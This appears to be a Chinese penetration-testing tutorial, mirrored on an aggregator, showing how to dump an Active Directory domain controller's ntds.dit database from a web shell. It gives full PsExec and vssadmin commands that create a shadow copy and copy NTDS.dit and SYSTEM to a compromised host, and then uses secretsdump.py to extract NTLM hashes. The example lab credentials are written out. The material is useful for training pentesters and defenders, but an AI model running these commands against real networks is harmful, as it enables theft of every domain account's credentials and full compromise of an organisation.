通过Webshell远程导出域控ntds.dit的方法
source link: https://www.freebuf.com/articles/web/195709.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
嗨,大家好!这次我想分享一些与“Windows Active Directory(AD)”环境相关的内容。我将使用Web shell向大家演示“如何转储Windows Active Directory用户数据库”。可能有这样一种情况在渗透测试期间,渗透测试人员连接到了Windows Active Directory forest其中一台计算机并获得了“Domain Admin”用户凭据和Web shell访问权限。渗透测试人员试图进一步的获得Reverse shell,但由于某些原因阻止了该行为(假设网络防火墙不允许)但测试者的最终目标可能并不是获取shell,而是转储AD用户数据库,即用户和ADL环境的NTLM密码哈希值。
在渗透测试期间我也面临了同样的问题(没有公网IP服务器)。在稍稍讨论了该问题之后,我找到了一种方法,如果我们有“AD Domain Admin”用户凭据,那么通过WebShell就可以帮助我们实现上述目标。
这里,我们假设:
1、AD域控机器(queen.DC1.indishell.lab – 192.168.56.200) 2、被控制的Windows机器 – 连接到AD(LABONE – 192.168.56.101) 3、管理获取Windows AD域管理用户(你可以使用任何可用的exploit,在这里我使用的是“MS14-025”来获得域管理员用户密码的)
现在,我可以在Windows机器上进行访问web shell,它连接到域,即“LABONE”,其IP为“192.168.56.101”。域管理员的用户名为“user1”,密码为“ica_1046”。
这里,我将使用以下两个二进制文件:
1、psexec.exe < – Windows内部工具 2、vssadmin < – 用于创建/删除Windows驱动器的卷影副本的命令
无论如何,如果我们设法在Windows AD域控机器上运行“vssadmin”命令,“vssadmin”命令将生成“C”盘的卷影副本,并且从该卷影副本我们可以复制“ntds.dit”和“SYSTEM”文件。为了实现上述任务,我们将使用“psexec.exe”,如果我们使用“elevated”选项(通过指定-h)指定目标计算机IP、域管理员用户名及其密码,则可以在远程Windows计算机上执行命令。我们需要通过web shell在Windows机器“LABONE”上上传psexec.exe。从Web shell我们将使用“vssadmin”命令指定AD域控机器IP,域管理员用户名及其密码。
psexec文件将远程执行Windows AD域控计算机上的vssadmin命令。在创建“C”盘卷影副本之后,我们需要将“ntds.dit”和“SYSTEM”文件从该卷影副本复制到我们具有Web shell访问权限的机器上,即Windows域机器“LABONE”。这个任务可以通过使用“psexec”来完成,我们只需在“copy”命令中指定目标AD域控机器的IP,域管理员用户名和密码即可,请使用SMB将ndts.dit和SYSTEM文件从卷影副本复制到LABONE机器。这里,我将这些文件复制到了我转储psexec文件的同一目录下。
使用“psexec”在远程主机上执行命令的常规用法:
psexec.exe \\remote_IP -u user_name -p password_of_the_user -h cmd /c "command_which_we_want_to_execute"<br />
就我而言,我应填写如下信息:
remote_IP 192.168.56.200(queen.DC1.indishell.lab) user_name user1 password_of_the_user ica_1046
我在Windows域机器“LABONE”上具有web shell访问权限,并在服务器上传了psexec二进制文件。
首先,我们先来检查下是否有“C”盘的卷影副本可用。你可以使用以下命令来列出可用的卷影副本:
vssadmin list shadows
这里,web shell无法显示远程主机上psexec binary执行的所有命令输出,所以我将命令输出重定向到了“LABONE”上,并保存在C:\xampp\htdocs\box\ps\目录下。执行该步骤的命令如下:
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin list shadows > \\192.168.56.101\C$\xampp\htdocs\box\ps\out.txt"
Web shell显示psexec正在远程Windows AD域控机器上执行命令。如果一切顺利,我们将在目录“C:\xampp\htdocs\box\ps”中获取到一个名为“out.txt”的文件,它将包含在AD域控(192.168.56.200)上执行的“vssadmin list shadows”命令的输出。
可以看到out.txt文件已生成在了目录中,让我们来查看下其中的内容。
“out.txt”文件内容显示,目标域控机器到目前为止并没有任何的卷影副本。
让我们创建一个“C”盘的卷影副本,以窃取“ntds.dit”和“SYSTEM”文件。
用于创建c盘卷影副本的命令如下:
vssadmin create shadow /for=C:
我们需要有新创建的“C”盘卷影副本的名称它将在命令的输出中,因此我们将把上述命令的输出重定向到我们拥有web shell访问权的机器上。
要从目标机器复制“ntds.dit”和“SYSTEM”文件,我们需要有卷影副本的名称。最终的命令为:
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin create shadow /for=C: >
以上命令,psexec正在Windows AD域控机器(192.168.56.200)上执行命令创建“C”盘的卷影副本,然后将该命令的输出重定向到 “LABONE”机器的 “C:\xmpp\htdocs\box\ps\out.txt”文件中。
“out.txt”文件的内容将告诉我们卷影副本的位置。
在以上截图中我们可以看到,卷影副本的卷名为“\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\”。
“ntds.dit”和“SYSTEM”文件的位置如下:
“shadow_copy_volume_name\Windows\NTDS\NTDS.dit” ”shadow_copy_volume_name\Windows\System32\config\SYSTEM”
即:
“\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit” “\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM”
让我们使用以下命令从目标Windows AD域控机器复制“ntds.dit”文件:
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit \\192.168.56.101\C$\xampp\htdocs\box\ps\"
此命令将会将“ntds.dit”文件从远程机器(192.168.56.200)复制到“LABONE”机器(192.168.56.101)的“C:\xampp\htdocs\box\ps\”目录下。
可以看到web shell显示,一个文件已从目标DC机器复制到了我的机器上。让我们确认并检查“C:\xampp\htdocs\box\ps”看看是否已成功复制“ntds.dit”文件。
如上所示,“ntds.dit”文件已成功被复制到了“LABONE”机器上。
同样,我们使用该命令复制“SYSTEM”文件:
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM
命令执行成功,Web shell显示“1 file copied”的消息提示。再次检查并确认是否成功执行。
可以看到“SYSTEM”文件也已成功被复制到了 ”LABONE”机器上。我们可以从这里使用web shell下载这些文件。
现在,我们可以使用python脚本 secretsdump.py ,从“ntds.dit”和“SYSTEM”文件中提取Domain,udi,rid LM和NT hashes。命令如下:
python secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
结果如下:
Recommend
-
9
0x00 前言 在之前的文章《导出当前域内所有用户hash的技术整理》曾介绍过通过Volume Shadow Copy实现对ntds.dit文件的复制, 可用来导出域内所有用户hash。本文将尝试做系统总结,总结多种不同的方法。 0x01 简介 本文将...
-
1
利用Powershell快速导出域控所有用户Hash 三好学生
-
12
一、说明: 最近我们公司流行一种特别强大的风气,走进职场办公区后,给人一种特别不好的影响,就是每个工位上的电脑屏上显示着五花八门的图案、壁纸,于是信息部领导发话了,要求职场办公电脑必须统一管理桌面壁纸,不允许个...
-
89
WebView域控不严格读取内部私有文件实验 test0max 2018-01-18 09:00:40 7658...
-
18
AD帐户分类入门 AD中的内置管理模型存在非常高的风险,它允许将Domain Admins和其他敏感帐户暴露给当今大多数企业网络中——比如允许登录到工作站和其他客户端成员计算机,默认情况下这导致未启动者在高度特权的帐...
-
13
一、背景介绍 这是去年11月份的应急事件,反复到客户现场多次才找到原因,最后得到的结论也极为简单。解决问题过程中,由于客户给的压力较大,甚至几次都找错方向,但最终还是将问题解决,在这里我分享一下此次...
-
10
奇安信Ateam文章地址: XXE to 域控 概述 本文...
-
19
巧用DSRM密码同步将域控权限持久化 Her0in
-
4
从外围打点到内网渗透拿下域控 - 先知社区 从外围打点到内网渗透拿下域控 茶寂me...
-
2
车企加速全新E/E架构平台量产,域控制器渗透率迅速提升 除了新兴造车企业一开始...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK